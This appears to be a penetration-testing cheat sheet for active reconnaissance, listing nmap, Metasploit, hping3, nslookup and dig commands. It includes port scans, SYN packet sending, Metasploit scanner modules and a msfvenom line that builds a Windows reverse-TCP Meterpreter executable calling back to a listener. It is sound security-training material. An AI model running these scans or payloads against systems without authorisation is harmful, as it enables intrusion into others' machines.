Phase 2: Active Reconnaissance

Tool: nmap

Purpose: Used to discover hosts and services on a computer network by sending packets and analyzing the responses. Also includes host discovery and service and operating system detection.

Commands:

```
nmap 192.168.1.123 -oN results.txt #scan a single IP and normal output to results.txt nmap 192.168.1.123 -O #OS detection nmap 192.168.1.123 -sV #service and version detection nmap 192.168.1.123 -sn #disable port scanning; host discovery only nmap 192.168.1.123 -Pn #disable host discovery; port scanning only
```

Tool: metasploit

Purpose: Toolkit for developing and using a wide range of security tools and exploits. Includes Meterpreter, a payload that provides control over an exploited system, and msfvenom, a tool for generating and encoding standalone versions of any payload in the MS framework.

Commands:

```
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall #download and install metasploit framework #port scanner:
```

```
msf > use auxiliary/scanner/portscan/tcp
msf > set RHOSTS 10.10.10.0/24
msf > run

#DNS enumeration:
msf > use auxiliary/gather/dns_enum
msf > set DOMAIN target.tgt
msf > run

#FTP server:
msf > use auxiliary/server/ftp
```

msf > set FTPROOT /tmp/ftproot msf > run

#reverse meterpreter payload as an executable and redirected into a file:

\$ msfvenom -p windows/meterpreter/reverse_tcp -f exe LHOST=10.1.1.1 LPORT=4444 > met.exe

Tool: hping/hping3

Purpose: Packet generator and analyzer for the TCP/IP protocol used for security auditing and testing of firewalls and networks.

Commands:

sudo apt-get install hping3 #install newest version of hping sudo hping3 192.168.1.123 #send TCP packets to 192.168.1.123 sudo hping3 -S 192.168.1.123 #send SYN packets to 192.168.1.123 sudo hping3 -p 1024 192.168.1.123 #send packets to port 1024

Tool: nslookup

Purpose: Command-line tool for querying DNS to map betwen a domain name and an IP address, as well as other DNS records.

Commands:

sudo apt-get install dnsutils #install package containing nslookup
nslookup #enter interactive mode
nslookup www.example.com #query www.example.com
nslookup www.example.com -type=a #query www.example.com DNS A records

Tool: dig

Purpose: Command-line tool for querying DNS.

Commands:

sudo apt-get install dnsutils #install package containing dig dig example.com any #query any type of DNS record for example.com dig -x 192.168.1.123 #perform reverse DNS lookup for 192.168.1.123